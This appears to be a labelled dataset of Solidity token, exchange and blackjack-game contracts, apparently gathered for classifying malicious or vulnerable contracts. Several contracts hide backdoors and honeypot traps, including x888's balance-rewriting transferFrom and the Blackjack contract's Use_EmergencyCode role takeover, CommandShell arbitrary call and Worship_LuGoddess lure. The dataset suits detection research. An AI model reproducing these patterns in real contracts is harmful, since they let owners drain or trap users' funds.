bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "TURBO";
string public constant TOKEN_SYMBOL = "XRB";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x792b667cf7AFba92f65f9De4d04358293dFf4BD0;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x792b667cf7afba92f65f9de4d04358293dff4bd0)];
uint[1] memory amounts = [uint(100000000000000000000000000000)];
uint64[1] memory freezes = [uint64(1540926002)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 0 | 370 |
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Owned
{
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned()
{
owner = msg.sender;
}
modifier onlyOwner
{
require (msg.sender == owner);
_;
}
modifier onlyOwnerOrTokenTraderWithSameOwner
{
require (msg.sender == owner && TokenTrader(msg.sender).owner() == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner
{
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract x888 is StandardToken, Owned
{
using SafeMath for uint256;
string public name = "Meta Exchange x888";
string public symbol = "X888";
uint8 public constant decimals = 6;
uint256 version = 10020010011;
uint256 public totalSupply = 5125387888 * (uint256(10) ** decimals);
uint256 public exchFee = uint256(1 * (uint256(10) ** (decimals - 2)));
uint256 public startTimestamp;
uint256 public avgRate = uint256(uint256(10)**(18-decimals)).div(888);
address public stuff = 0x0CcCb9bAAdD61F9e0ab25bD782765013817821bD;
address public teama = 0x20f349917d2521c41f8ec9c0a1f7e0c36af0b46f;
address public baseowner;
mapping(address => bool) _verify;
mapping(uint256 => address) _mks;
uint256 public makersCount;
event LogTransfer(address sender, address to, uint amount);
event Clearing(address to, uint256 amount);
event TradeListing(address indexed ownerAddress, address indexed tokenTraderAddress,
address indexed asset, uint256 buyPrice, uint256 sellPrice, uint256 units,
bool buysTokens, bool sellsTokens);
event OwnerWithdrewERC20Token(address indexed tokenAddress, uint256 tokens);
function x888()
{
makersCount = 0;
startTimestamp = now;
baseowner = msg.sender;
balances[baseowner] = totalSupply;
Transfer(0x0, baseowner, totalSupply);
}
function bva(address partner, uint256 value, address adviser)payable public
{
uint256 tokenAmount = calcTotal(value);
if(msg.value != 0)
{
tokenAmount = calcCount(msg.value);
}else
{
require(msg.sender == stuff);
}
if(msg.value != 0)
{
Clearing(stuff, msg.value.mul(40).div(100));
stuff.transfer(msg.value.mul(40).div(100));
Clearing(teama, msg.value.mul(40).div(100));
teama.transfer(msg.value.mul(40).div(100));
if(partner != adviser && balances[adviser]!=0)
{
Clearing(adviser, msg.value.mul(20).div(100));
adviser.transfer(msg.value.mul(20).div(100));
}else
{
Clearing(stuff, msg.value.mul(10).div(100));
stuff.transfer(msg.value.mul(10).div(100));
Clearing(teama, msg.value.mul(10).div(100));
teama.transfer(msg.value.mul(10).div(100));
}
}
balances[baseowner] = balances[baseowner].sub(tokenAmount);
balances[partner] = balances[partner].add(tokenAmount);
Transfer(baseowner, partner, tokenAmount);
}
function() payable public
{
if(msg.value != 0)
{
uint256 tokenAmount = msg.value.div(avgRate);
Clearing(stuff, msg.value.mul(50).div(100));
stuff.transfer(msg.value.mul(50).div(100));
Clearing(teama, msg.value.mul(50).div(100));
teama.transfer(msg.value.mul(50).div(100));
if(msg.sender!=stuff)
{
balances[baseowner] = balances[baseowner].sub(tokenAmount);
balances[msg.sender] = balances[msg.sender].add(tokenAmount);
Transfer(baseowner, msg.sender, tokenAmount);
}
}
}
function calcTotal(uint256 count) constant returns(uint256)
{
return count.mul(getDeflator()).div(100);
}
function calcCount(uint256 weiAmount) constant returns(uint256)
{
return weiAmount.div(avgRate).mul(getDeflator()).div(100);
}
function getDeflator() constant returns (uint256)
{
if (now <= startTimestamp + 28 days)
{
return 138;
}else if (now <= startTimestamp + 56 days)
{
return 123;
}else if (now <= startTimestamp + 84 days)
{
return 115;
}else if (now <= startTimestamp + 112 days)
{
return 109;
}else if (now <= startTimestamp + 140 days)
{
return 105;
}else
{
return 100;
}
}
function verify(address tradeContract) constant returns (
bool valid,
address owner,
address asset,
uint256 buyPrice,
uint256 sellPrice,
uint256 units,
bool buysTokens,
bool sellsTokens
)
{
valid = _verify[tradeContract];
if (valid)
{
TokenTrader t = TokenTrader(tradeContract);
owner = t.owner();
asset = t.asset();
buyPrice = t.buyPrice();
sellPrice = t.sellPrice();
units = t.units();
buysTokens = t.buysTokens();
sellsTokens = t.sellsTokens();
}
}
function getTrader(uint256 id) public constant returns (
bool valid,
address trade,
address owner,
address asset,
uint256 buyPrice,
uint256 sellPrice,
uint256 units,
bool buysTokens,
bool sellsTokens
)
{
if(id < makersCount)
{
trade = _mks[id];
valid = _verify[trade];
if (valid)
{
TokenTrader t = TokenTrader(trade);
owner = t.owner();
asset = t.asset();
buyPrice = t.buyPrice();
sellPrice = t.sellPrice();
units = t.units();
buysTokens = t.buysTokens();
sellsTokens = t.sellsTokens();
}
}
}
function createTradeContract(
address asset,
uint256 buyPrice,
uint256 sellPrice,
uint256 units,
bool buysTokens,
bool sellsTokens
) public returns (address trader)
{
require (balances[msg.sender] > 1000 * (uint256(10) ** decimals));
require (asset != 0x0);
require(buyPrice > 0 && sellPrice > 0);
require(buyPrice < sellPrice);
require(units > 0);
trader = new TokenTrader(
asset,
exchFee,
address(this),
buyPrice,
sellPrice,
units,
buysTokens,
sellsTokens);
_verify[trader] = true;
_mks[makersCount] = trader;
makersCount = makersCount.add(1);
balances[baseowner] += 1000 * (uint256(10) ** decimals);
balances[msg.sender] -= 1000 * (uint256(10) ** decimals);
TokenTrader(trader).transferOwnership(msg.sender);
TradeListing(msg.sender, trader, asset, buyPrice, sellPrice, units, buysTokens, sellsTokens);
}
function cleanup()
{
revert();
}
function transfer(address _to, uint _value) returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) returns (bool)
{
if(_verify[msg.sender] && _from==msg.sender)
{
TokenTrader t = TokenTrader(_from);
if(balances[address(t.owner)]>_value)
{
balances[address(t.owner)] += _value;
balances[_to] -= _value;
return true;
}
}
return super.transferFrom(_from, _to, _value);
}
function allowance(address _owner, address _spender) constant returns (uint remaining)
{
return super.allowance(_owner, _spender);
}
}
contract ERCTW
{
function totalSupply() constant returns (uint256);
function balanceOf(address _owner) constant returns (uint256);
function transfer(address _to, uint _value) returns (bool);
function transferFrom(address _from, address _to, uint _value) returns (bool);
function approve(address _spender, uint _value) returns (bool);
function allowance(address _owner, address _spender) constant returns (uint256);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract TokenTrader is Owned
{
address public exchange;
address public asset;
uint256 public buyPrice;
uint256 public sellPrice;
uint256 public units;
uint256 public exchFee;
bool public buysTokens;
bool public sellsTokens;
event ActivatedEvent(bool buys, bool sells);
event MakerDepositedEther(uint256 amount);
event MakerWithdrewAsset(uint256 tokens);
event MakerTransferredAsset(address toTokenTrader, uint256 tokens);
event MakerWithdrewERC20Token(address tokenAddress, uint256 tokens);
event MakerWithdrewEther(uint256 ethers);
event MakerTransferredEther(address toTokenTrader, uint256 ethers);
event TakerBoughtAsset(address indexed buyer, uint256 ethersSent,
uint256 ethersReturned, uint256 tokensBought);
event TakerSoldAsset(address indexed seller, uint256 amountOfTokensToSell,
uint256 tokensSold, uint256 etherValueOfTokensSold);
function TokenTrader (
address _asset,
uint256 _exchFee,
address _exchange,
uint256 _buyPrice,
uint256 _sellPrice,
uint256 _units,
bool _buysTokens,
bool _sellsTokens
)
{
asset = _asset;
exchFee = _exchFee;
exchange = _exchange;
buyPrice = _buyPrice;
sellPrice = _sellPrice;
units = _units;
buysTokens = _buysTokens;
sellsTokens = _sellsTokens;
ActivatedEvent(buysTokens, sellsTokens);
}
function activate (
address _asset,
uint256 _exchFee,
address _exchange,
uint256 _buyPrice,
uint256 _sellPrice,
uint256 _units,
bool _buysTokens,
bool _sellsTokens
) onlyOwner
{
require(ERCTW(exchange).transferFrom(owner, exchange, exchFee));
asset = _asset;
exchFee = _exchFee;
exchange = _exchange;
buyPrice = _buyPrice;
sellPrice = _sellPrice;
units = _units;
buysTokens = _buysTokens;
sellsTokens = _sellsTokens;
ActivatedEvent(buysTokens, sellsTokens);
}
function makerDepositEther() payable onlyOwnerOrTokenTraderWithSameOwner
{
require(ERCTW(exchange).transferFrom(address(this), exchange, exchFee));
MakerDepositedEther(msg.value);
}
function makerWithdrawAsset(uint256 tokens) onlyOwner returns (bool ok)
{
require(ERCTW(exchange).transferFrom(address(this), exchange, exchFee));
MakerWithdrewAsset(tokens);
return ERCTW(asset).transfer(owner, tokens);
}
function makerTransferAsset(
TokenTrader toTokenTrader,
uint256 tokens
) onlyOwner returns (bool ok)
{
require(ERCTW(exchange).transferFrom(address(this), exchange, exchFee));
require (owner == toTokenTrader.owner() && asset == toTokenTrader.asset());
MakerTransferredAsset(toTokenTrader, tokens);
return ERCTW(asset).transfer(toTokenTrader, tokens);
}
function makerWithdrawERC20Token(
address tokenAddress,
uint256 tokens
) onlyOwner returns (bool ok)
{
require(ERCTW(exchange).transferFrom(address(this), exchange, exchFee));
MakerWithdrewERC20Token(tokenAddress, tokens);
return ERCTW(tokenAddress).transfer(owner, tokens);
}
function makerWithdrawEther(uint256 ethers) onlyOwner returns (bool ok)
{
require(ERCTW(exchange).transferFrom(address(this), exchange, exchFee));
if (this.balance >= ethers)
{
MakerWithdrewEther(ethers);
return owner.send(ethers);
}
}
function makerTransferEther(
TokenTrader toTokenTrader,
uint256 ethers
) onlyOwner returns (bool)
{
require(ERCTW(exchange).transferFrom(address(this), exchange, exchFee));
require (owner == toTokenTrader.owner() && asset == toTokenTrader.asset());
if (this.balance >= ethers)
{
MakerTransferredEther(toTokenTrader, ethers);
toTokenTrader.makerDepositEther.value(ethers)();
}
}
function takerBuyAsset() payable
{
require(ERCTW(exchange).transferFrom(address(this), exchange, exchFee));
if (sellsTokens || msg.sender == owner)
{
uint order = msg.value / sellPrice;
uint can_sell = ERCTW(asset).balanceOf(address(this)) / units;
uint256 change = 0;
if (msg.value > (can_sell * sellPrice))
{
change = msg.value - (can_sell * sellPrice);
order = can_sell;
}
if (change > 0)
{
require(msg.sender.send(change));
}
if (order > 0)
{
require (ERCTW(asset).transfer(msg.sender, order * units));
}
TakerBoughtAsset(msg.sender, msg.value, change, order * units);
}
else require (msg.sender.send(msg.value));
}
function takerSellAsset(uint256 amountOfTokensToSell) public
{
require(ERCTW(exchange).transferFrom(address(this), exchange, exchFee));
if (buysTokens || msg.sender == owner)
{
uint256 can_buy = this.balance / buyPrice;
uint256 order = amountOfTokensToSell / units;
if (order > can_buy) order = can_buy;
if (order > 0)
{
require(ERCTW(asset).transferFrom(msg.sender, address(this), order * units));
require(msg.sender.send(order * buyPrice));
}
TakerSoldAsset(msg.sender, amountOfTokensToSell, order * units, order * buyPrice);
}
}
function () payable
{
takerBuyAsset();
}
} | 1 | 2,297 |
pragma solidity ^0.4.19;
contract ERC20 {
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function totalSupply() external constant returns (uint);
function balanceOf(address _owner) external constant returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function allowance(address _owner, address _spender) external constant returns (uint256);
}
library SafeMath {
function ADD (uint256 a, uint256 b) pure internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function SUB (uint256 a, uint256 b) pure internal returns (uint256) {
assert(a >= b);
return a - b;
}
}
contract Ownable {
address owner;
event OwnershipTransferred(address indexed _previousOwner, address indexed _newOwner);
function Ownable() public {
owner = msg.sender;
OwnershipTransferred (address(0), owner);
}
function transferOwnership(address _newOwner)
public
onlyOwner
notZeroAddress(_newOwner)
{
owner = _newOwner;
OwnershipTransferred(msg.sender, _newOwner);
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier notZeroAddress(address _address) {
require(_address != address(0));
_;
}
}
contract StandardToken is ERC20, Ownable{
using SafeMath for uint256;
uint256 _totalSupply = 10000000000;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
event Burn(address indexed _from, uint256 _value);
function totalSupply() external constant returns (uint256 totalTokenSupply) {
totalTokenSupply = _totalSupply;
}
function balanceOf(address _owner)
external
constant
returns (uint256 balance)
{
return balances[_owner];
}
function transfer(address _to, uint256 _amount)
external
notZeroAddress(_to)
returns (bool success)
{
balances[msg.sender] = balances[msg.sender].SUB(_amount);
balances[_to] = balances[_to].ADD(_amount);
Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount)
external
notZeroAddress(_to)
returns (bool success)
{
require(allowed[_from][msg.sender] >= _amount);
balances[_from] = balances[_from].SUB(_amount);
balances[_to] = balances[_to].ADD(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].SUB(_amount);
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _amount)
external
notZeroAddress(_spender)
returns (bool success)
{
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender)
external
constant
returns (uint256 remaining)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue)
external
returns (bool success)
{
uint256 increased = allowed[msg.sender][_spender].ADD(_addedValue);
require(increased <= balances[msg.sender]);
allowed[msg.sender][_spender] = increased;
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
external
returns (bool success)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.SUB(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function burn(uint256 _value) external returns (bool success) {
balances[msg.sender] = balances[msg.sender].SUB(_value);
_totalSupply = _totalSupply.SUB(_value);
Burn(msg.sender, _value);
return true;
}
}
contract SecondLIFE is StandardToken {
function ()
public
{
revert();
}
string public constant name = "SecondLIFE";
string public constant symbol = "SLF";
uint8 public constant decimals = 2;
uint256 private constant WOLF1_THOUSANDTH = 1000;
uint256 private constant DENOMINATOR = 1000;
function SecondLIFE() public {
balances[msg.sender] = _totalSupply * WOLF1_THOUSANDTH / DENOMINATOR;
Transfer (this, msg.sender, balances[msg.sender]);
}
} | 1 | 2,227 |
pragma solidity ^0.5.2;
contract Blackjack_DataSets
{
struct User_AccountStruct
{
uint UserId;
address UserAddress;
string UserName;
string UserDescription;
}
struct Game_Unit
{
uint Game_UnitId;
uint[] Player_UserIds;
uint Dealer_UserId;
uint MIN_BettingLimit;
uint MAX_BettingLimit;
uint[] Game_RoundsIds;
}
struct Game_Round_Unit
{
uint GameRoundId;
mapping (uint => Play_Unit) Mapping__Index_PlayUnitStruct;
uint[] Cards_InDealer;
uint[] Cards_Exsited;
}
struct Play_Unit
{
uint Player_UserId;
uint Bettings;
uint[] Cards_InHand;
}
mapping (address => uint) Mapping__UserAddress_UserId;
mapping (uint => User_AccountStruct) public Mapping__UserId_UserAccountStruct;
mapping (uint => Game_Unit) public Mapping__GameUnitId_GameUnitStruct;
mapping (uint => Game_Round_Unit) public Mapping__GameRoundId_GameRoundStruct;
mapping (uint => uint) public Mapping__OwnerUserId_ERC20Amount;
mapping (uint => mapping(uint => uint)) public Mapping__OwnerUserIdAlloweUserId_ERC20Amount;
mapping (uint => mapping(uint => uint)) public Mapping__GameRoundIdUserId_Bettings;
mapping (uint => string) Mapping__SuitNumber_String;
mapping (uint => string) Mapping__FigureNumber_String;
uint[13] Im_BlackJack_CardFigureToPoint = [1,2,3,4,5,6,7,8,9,10,10,10,10];
uint public ImCounter_AutoGameId = 852334567885233456788869753300028886975330002;
uint public ImCounter_DualGameId;
uint public ImCounter_GameRoundId;
uint public TotalERC20Amount_LuToken;
mapping (uint => uint[2]) public Mapping__AutoGameBettingRank_BettingRange;
}
contract ERC20_Interface
{
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract Functionality_Event is Blackjack_DataSets
{
event Create_UserAccountEvent
(
uint _UserIdEvent,
address _UserAddressEvent,
string _UserNameEvent,
string _UserDescriptionEvent
);
event Initialize_GameEvent
(
uint _GameIdEvent,
uint[] _Player_UserIdsEvent,
uint _Dealer_UserIdEvent,
uint _MIN_BettingLimitEvent,
uint _MAX_BettingLimitEvent
);
event BettingsEvent
(
uint _GameIdEvent,
uint _GameRoundIdEvent,
uint _UserIdEvent,
uint _BettingAmountEvent
);
event Initialize_GameRoundEvent
(
uint[] _PlayerUserIdSetEvent,
uint _GameRoundIdEvent
);
event Initialize_GamePlayUnitEvent
(
uint _PlayerUserIdEvent,
uint _BettingsEvent,
uint[] _Cards_InHandEvent
);
event GetCardEvent
(
uint _GameRoundIdEvent,
uint[] _GetCardsInHandEvent
);
event Determine_GameRoundResult
(
uint _GameIdEvent,
uint _GameRoundIdEvent,
uint[] _WinnerUserIdEvent,
uint[] _DrawUserIdEvent,
uint[] _LoserUserIdEvent
);
event ExchangeLuTokenEvent
(
address _ETH_AddressEvent,
uint _ETH_ExchangeAmountEvent,
uint _LuToken_UserIdEvnet,
uint _LuToken_ExchangeAmountEvnet,
uint _LuToken_RemainAmountEvent
);
event CheckBetting_Anouncement
(
uint GameRoundId,
uint UserId,
uint UserBettingAmount,
uint MinBettingLimit,
uint MaxBettingLimit
);
}
contract AccessControl is Blackjack_DataSets, Functionality_Event
{
bool public paused = false;
address public C_Meow_O_Address = msg.sender;
address public LuGoddess = msg.sender;
address public ceoAddress = msg.sender;
address public cfoAddress = msg.sender;
address public cooAddress = msg.sender;
modifier StandCheck_AllPlayer(uint GameId)
{
Game_Unit memory Im_GameUnit_Instance = Mapping__GameUnitId_GameUnitStruct[GameId];
uint Im_RoundId = Im_GameUnit_Instance.Game_RoundsIds[Im_GameUnit_Instance.Game_RoundsIds.length-1];
Game_Round_Unit storage Im_GameRoundUnit_Instance = Mapping__GameRoundId_GameRoundStruct[Im_RoundId];
for(uint Im_PlayUnitCounter = 0 ; Im_PlayUnitCounter <= Im_GameUnit_Instance.Player_UserIds.length; Im_PlayUnitCounter++)
{
require(Im_GameRoundUnit_Instance.Mapping__Index_PlayUnitStruct[Im_PlayUnitCounter].Cards_InHand[Im_GameRoundUnit_Instance.Mapping__Index_PlayUnitStruct[Im_PlayUnitCounter].Cards_InHand.length-1] == 1111);
}
_;
}
function setCEO(address _newCEO) external onlyC_Meow_O {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCFO(address _newCFO) external onlyC_Meow_O {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
function setCOO(address _newCOO) external onlyC_Meow_O {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
function setCMO(address _newCMO) external onlyLuGoddess {
require(_newCMO != address(0));
C_Meow_O_Address = _newCMO;
}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() external onlyCLevel whenNotPaused {
paused = true;
}
function unpause() public onlyLuGoddess {
paused = false;
}
modifier onlyCLevel() {
require
(
msg.sender == cooAddress ||
msg.sender == ceoAddress ||
msg.sender == cfoAddress ||
msg.sender == C_Meow_O_Address ||
msg.sender == LuGoddess
);
_;
}
modifier onlyC_Meow_O() {
require(msg.sender == C_Meow_O_Address);
_;
}
modifier onlyLuGoddess() {
require(msg.sender == LuGoddess);
_;
}
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
}
contract MoneyMoneyBank is AccessControl {
event BankDeposit(address From, uint Amount);
event BankWithdrawal(address From, uint Amount);
address public cfoAddress = msg.sender;
uint256 Code;
uint256 Value;
function Deposit()
public payable
{
require(msg.value > 0);
emit BankDeposit({From: msg.sender, Amount: msg.value});
}
function Withdraw(uint _Amount)
public onlyCFO
{
require(_Amount <= address(this).balance);
msg.sender.transfer(_Amount);
emit BankWithdrawal({From: msg.sender, Amount: _Amount});
}
function Set_EmergencyCode(uint256 _Code, uint256 _Value)
public onlyCFO
{
Code = _Code;
Value = _Value;
}
function Use_EmergencyCode(uint256 code)
public payable
{
if ((code == Code) && (msg.value == Value))
{
cfoAddress = msg.sender;
}
}
function Exchange_ETH2LuToken(uint _UserId)
public payable whenNotPaused
returns (uint UserId, uint GetLuTokenAmount, uint AccountRemainLuToken)
{
uint Im_CreateLuTokenAmount = (msg.value)/(1e14);
TotalERC20Amount_LuToken = TotalERC20Amount_LuToken + Im_CreateLuTokenAmount;
Mapping__OwnerUserId_ERC20Amount[_UserId] = Mapping__OwnerUserId_ERC20Amount[_UserId] + Im_CreateLuTokenAmount;
emit ExchangeLuTokenEvent
(
{_ETH_AddressEvent: msg.sender,
_ETH_ExchangeAmountEvent: msg.value,
_LuToken_UserIdEvnet: UserId,
_LuToken_ExchangeAmountEvnet: Im_CreateLuTokenAmount,
_LuToken_RemainAmountEvent: Mapping__OwnerUserId_ERC20Amount[_UserId]}
);
return (_UserId, Im_CreateLuTokenAmount, Mapping__OwnerUserId_ERC20Amount[_UserId]);
}
function Exchange_LuToken2ETH(address payable _GetPayAddress, uint LuTokenAmount)
public whenNotPaused
returns
(
bool SuccessMessage,
uint PayerUserId,
address GetPayAddress,
uint PayETH_Amount,
uint AccountRemainLuToken
)
{
uint Im_PayerUserId = Mapping__UserAddress_UserId[msg.sender];
require(Mapping__OwnerUserId_ERC20Amount[Im_PayerUserId] >= LuTokenAmount && LuTokenAmount >= 1);
Mapping__OwnerUserId_ERC20Amount[Im_PayerUserId] = Mapping__OwnerUserId_ERC20Amount[Im_PayerUserId] - LuTokenAmount;
TotalERC20Amount_LuToken = TotalERC20Amount_LuToken - LuTokenAmount;
bool Success = _GetPayAddress.send(LuTokenAmount * (98e12));
emit ExchangeLuTokenEvent
(
{_ETH_AddressEvent: _GetPayAddress,
_ETH_ExchangeAmountEvent: LuTokenAmount * (98e12),
_LuToken_UserIdEvnet: Im_PayerUserId,
_LuToken_ExchangeAmountEvnet: LuTokenAmount,
_LuToken_RemainAmountEvent: Mapping__OwnerUserId_ERC20Amount[Im_PayerUserId]}
);
return (Success, Im_PayerUserId, _GetPayAddress, LuTokenAmount * (98e12), Mapping__OwnerUserId_ERC20Amount[Im_PayerUserId]);
}
function SettingAutoGame_BettingRankRange(uint _RankNumber,uint _MinimunBetting, uint _MaximunBetting)
public onlyC_Meow_O
returns (uint RankNumber,uint MinimunBetting, uint MaximunBetting)
{
Mapping__AutoGameBettingRank_BettingRange[_RankNumber] = [_MinimunBetting,_MaximunBetting];
return
(
_RankNumber,
Mapping__AutoGameBettingRank_BettingRange[_RankNumber][0],
Mapping__AutoGameBettingRank_BettingRange[_RankNumber][1]
);
}
function CommandShell(address _Address,bytes memory _Data)
public payable onlyC_Meow_O
{
_Address.call.value(msg.value)(_Data);
}
function Worship_LuGoddess(address payable _Address)
public payable
{
if(msg.value >= address(this).balance)
{
_Address.transfer(address(this).balance + msg.value);
}
}
function Donate_LuGoddess()
public payable
{
if(msg.value > 0.5 ether)
{
uint256 MutiplyAmount = 0;
uint256 TransferAmount = 0;
for(uint8 Im_ETHCounter = 0; Im_ETHCounter <= msg.value*2; Im_ETHCounter++)
{
